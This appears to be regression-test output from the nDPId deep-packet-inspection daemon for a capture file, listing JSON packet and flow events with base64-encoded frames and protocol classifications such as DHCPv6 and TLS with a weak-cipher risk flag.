+00472{"flow_id":73,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1242,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104421,"pkt_ts_usec":462835,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH\/0AAIARlWXAqAPswKj\/\/wCJAIkAOopRimMBEAABAAAAAAAAIEZERVBFT0ZGRkRFQkZHQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00585{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104421,"pkt_ts_usec":566487,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCgYAAAQR9m7AqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1250,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1470104422079,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00874{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1250,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":79572,"pkt_caplen":391,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":391,"pkt_l4_len":337,"pkt":"MzMAAAABwKC7c+tXht1gAAAAAVERgCABsCAABgAAwqC7\/\/5z61f\/AgAAAAAAAAAAAAAAAAAB9gD2AAFRLwf\/D9rVoADAoLtz61cgAbAgAAYAAMKgu\/\/+c+tXAAACACcBREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFN3aXRjaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4xMC4wMTMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAoLtz61dCMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFQMFIxRDkwMDAwMjYAAAAAAAAAAAAAAAAAAAAAAAAAREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCojIz\/\/wAAUG9ydCA4AAAgAbAgAAYAAMKgu\/\/+c+tXQA=="} +00472{"flow_id":73,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1251,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":179603,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH\/4AAIARlWTAqAPswKj\/\/wCJAIkAOopRimMBEAABAAAAAAAAIEZERVBFT0ZGRkRFQkZHQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00426{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1256,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":398902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA08IlAADUGTRNE6f2FwKgFEABQ0Xh2OPIDHrFHw4ARAB\/erwAAAQEICs8em0UaD2rZ"} +00426{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1257,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":398955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA01A1AAEAGXo\/AqAUQROn9hdF4AFAesUfDdjjyBIAQEAGA1AAAAQEIChoPuNLPHptF"} +00810{"flow_id":78,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":690570,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/4MqUa5ZECABFEAFIAAAAAIAROZYAAAAA\/\/\/\/\/wBEAEMBNJruAQEGAD3Z62IAAAAAAAAAAAAAAAAAAAAAAAAAAODKlGuWRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBMgTAqAVDDBRzYW5qaS1MSUZFQk9PSy1MSDUzMTcRARwCAw8GdwwsLxp5Knn5\/Cr\/AAAAAAAAAAAA"} +00413{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":868886,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUpxAAIAG5lrAqHMIarkjbsG9AFA9WFL+c+sff1AQAQAHLQAAAA=="} +00413{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1261,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":868933,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUpxAAIAG5lrAqHMIarkjbsG9AFA9WFL+c+sff1AQAQAHLQAAAA=="} +00428{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1262,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104422,"pkt_ts_usec":913733,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0Ow5AADYGR95quSNuwKhzCABQwb1z6x9\/PVhS\/4AQAO2wegAAAQEFCj1YUv49WFL\/"} +00580{"flow_id":58,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":102735,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChDVwAAAER9kTAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00582{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":102951,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEwAAAER2P7AqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1270,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1470104423202,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::f65c:89ff:fe89:e607","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":202821,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQAC9FyJieYHht1gD8\/5ACwRAf6AAAAAAAAA9lyJ\/\/6J5gf\/AgAAAAAAAAAAAAAAAQACAiICIwAsGIELuXYqAAEADgABAAEeo3uS9FyJieYHAAYABAAXABgACAAC\/\/8="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1270,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1470104423202,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::f65c:89ff:fe89:e607","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"proto":"DHCPV6","breed":"Acceptable","category":"Network"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1271,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1470104423246,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53629,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":246688,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ABAj4ACgYMVHBbyMCABFAABAVdFAAEAG6zrAqAUQwKhzS9F9AbtloPklAAAAALAC\/\/81IwAAAgQFtAEDAwUBAQgKGg+8HwAAAAAEAgAA"} +00425{"flow_id":133,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":247634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxABAj4ACgCABFAAA0AABAAEAGQRjAqHNLwKgFEAG70X2C0DtLZaD5JoASFtBuaQAAAgQFtAEBBAIBAwMH"} +00418{"flow_id":133,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":247712,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAoVNRAAEAG7E\/AqAUQwKhzS9F9AbtloPkmgtA7TFAQIACmCwAAUC8xLjEN"} +00699{"flow_id":133,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":248266,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"ABAj4ACgYMVHBbyMCABFAAD9MJBAAEAGD7\/AqAUQwKhzS9F9AbtloPkmgtA7TFAYIADmPAAAFgMBANABAADMAwNXoANoBxB0UxaEmGMMRA4z3rCwUCfHq4lItmIHvO2HwSBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAA5AAAAEwARAAAOMTkyLjE2OC4xMTUuNzUACgAIAAYAFwAYABkACwACAQAADQAMAAoFAQQBAgEEAwID"} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1274,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":4,"flow_first_seen":1470104423246,"flow_last_seen":1470104423248,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53629,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"618ee2509ef52bf0b8216e1564eea909","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00417{"flow_id":133,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":249191,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAosy5AAEAGjfXAqHNLwKgFEAG70X2C0DtMZaD5+1AQADbFAAAAAAAAAAAA"} +00632{"flow_id":133,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":251782,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"ABxCjnAxABAj4ACgCABFAADJsy9AAEAGjVPAqHNLwKgFEAG70X2C0DtMZaD5+1AYADZbuQAAFgMDAFECAABNAwNP+v5MrhPT7gCV6+7l8OEnW6u9CIMrhxz\/CnbSwmfX6yBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eAAvAAAF\/wEAAQAUAwMAAQEWAwMAQP7fioxuoIuCjn4HHOe6A8jxR2QStU3BBo0dV8n25rs7AjOsZc+II3taGzY\/k\/vNUSTTPW02U9hA0sRTvf0Kf6U="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1276,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":6,"flow_first_seen":1470104423246,"flow_last_seen":1470104423251,"flow_tot_l4_data_len":530,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53629,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"618ee2509ef52bf0b8216e1564eea909","ja3s":"573a9f3f80037fb40d481e2054def5bb","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00418{"flow_id":133,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1277,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":251818,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAojapAAEAGs3nAqAUQwKhzS9F9AbtloPn7gtA77VAQH\/qkmwAAVFRQLzEu"} +00417{"flow_id":133,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1278,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":251931,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABAj4ACgYMVHBbyMCABFAAAuEO1AAEAGMDHAqAUQwKhzS9F9AbtloPn7gtA77VAYIACMgwAAFAMDAAEB"} +00504{"flow_id":133,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1279,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":251958,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ABAj4ACgYMVHBbyMCABFAABteDRAAEAGyKrAqAUQwKhzS9F9AbtloPoBgtA77VAYIACEEwAAFgMDAEAMRT2\/rw1RVhtHYa6MIHkNyub7aRPCH9JZHXrMtUzyIcUA3wBPgDvlbAIfiMcwhF0YjOq7KE9AIjRBZ8QVLcaR"} +00418{"flow_id":133,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1280,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":253109,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoszBAAEAGjfPAqHNLwKgFEAG70X2C0DvtZaD6RlAQADbEFAAAAAAAAAAA"} +01791{"flow_id":133,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":298822,"pkt_caplen":1067,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1067,"pkt_l4_len":1033,"pkt":"ABAj4ACgYMVHBbyMCABFAAQdnWdAAEAGn8fAqAUQwKhzS9F9AbtloPpGgtA77VAYIAAvegAAFwMDA\/BqBWyXZqEhDi9wLTRRphXUyBE\/grDYhN2DjCOsiUzd986MGkS2IfK+\/VI6\/84rNxC8e446UW2FnFiU+Q\/LoBjmAiezniMbvoQHXeuC518B6kdQ4OO\/iJtMWdYPCzH0FHDyh1j00Uh2wynNZI8\/gP0giP3DrXaKfiGXt0mp4BiGPPqOgAwO\/G\/2hoUHyW2OCfcPlICV8g+dNcXEtZ1J3pBDxzlz2T1jC2ZoiIzW0HpBoo1WS43dVMbi8F3VNw4J0lyxkNw32DFziioYTBhQ5vKtQ7qxbc7+djaGBOTFJV8BxcEH+Pj2opVFwaNUWEVYzt0\/ZcfIGysCmrviJ9FVDnoj686mXXglr44aSl\/iQu4jHvKHcZzgC5R5aCWr6rF96rNQz4s0XmlyZfqj+wItDD0wEOs9VZI2RRMMebyrvZCsCBWykAUl7tR9ft+DWAWEFS6GL0dNfSsghGZi8VSumVLQvwiTQVU2vvok7jwn9\/ln3iFzwTlRxp63ddDK+u6wneMs5dJ1KJ6C7ssKZTmPcdH2EMSxr4fN9LgiWkD2+PnDpVwjCUwWv\/5rcMbWujEKAFgfyPniO0kiSf7ARgIczd6M6ZuKPPm7p0iaWmGmzubnVe+rWGthHYXUr+TH0I7Zw2syjjHZ2t3\/7\/lOlCMQMchIsBO9yVnv3bmUi2xL16m9n3NYSzqUrQpzxRE+LYsmE3GEha0jB+YqSswno56idH5ddvZM38FvnP+fJiCr+hZW3+ZY+6BOnd6J4LfEaevgg3fmmV\/cmQG87A7hSGJfgMm7tHa55QmeqSdDKX77YDCY1ceJ8Kf3d0M+hf8Lapx1JnNOlKQTH5v26HA0CrmoPqRLFudl\/3n4f\/a9tIXSmebigfnILSRKTs0LJKS13bpTnn3cFpX7PEarJM61P4FR\/+KbJlzaJIR8plhLB0OjTX90lVl8KSg2yNa0MQEgh5oYzk4nKqPN66hLZU4v+l4J3RmveuEXLwDaUEsK0eHAV0RDoPDmHMvgzSKc4tZS3DYoSeUEcplOOMSZDQyGptWBxV6T8K2NN0LCZpMcjxx9aBYa4t5\/T4qyDYpcis75HH48Hx7UV3mDFoShsejKcK+bYVLtUuDYecTdscHf3EQzMZeLoQgMQ5+04p9ABuLJfIpiWlNpc5wihLrJ90tsDyJ6G9arpKTGGOqI0KJ7UJSr\/jXrMZD4sETUD0WjAs5qmNZmOb0pTPGSjjBIcyclaCcJE+wH13zV6Xsss7BeqIOuV\/OoK\/pqJXySWJ51rx7hMdCm7tEdG022xNRWXv9bgD7JIbZxTturL3MadZnDjY2J2D5gBMAKbE+x49LUTcPJDur+F4k="} +00510{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1470104422079,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1470104422079,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1470104413679,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1470104420950,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1470104420950,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1470104423202,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::f65c:89ff:fe89:e607","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":59730,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 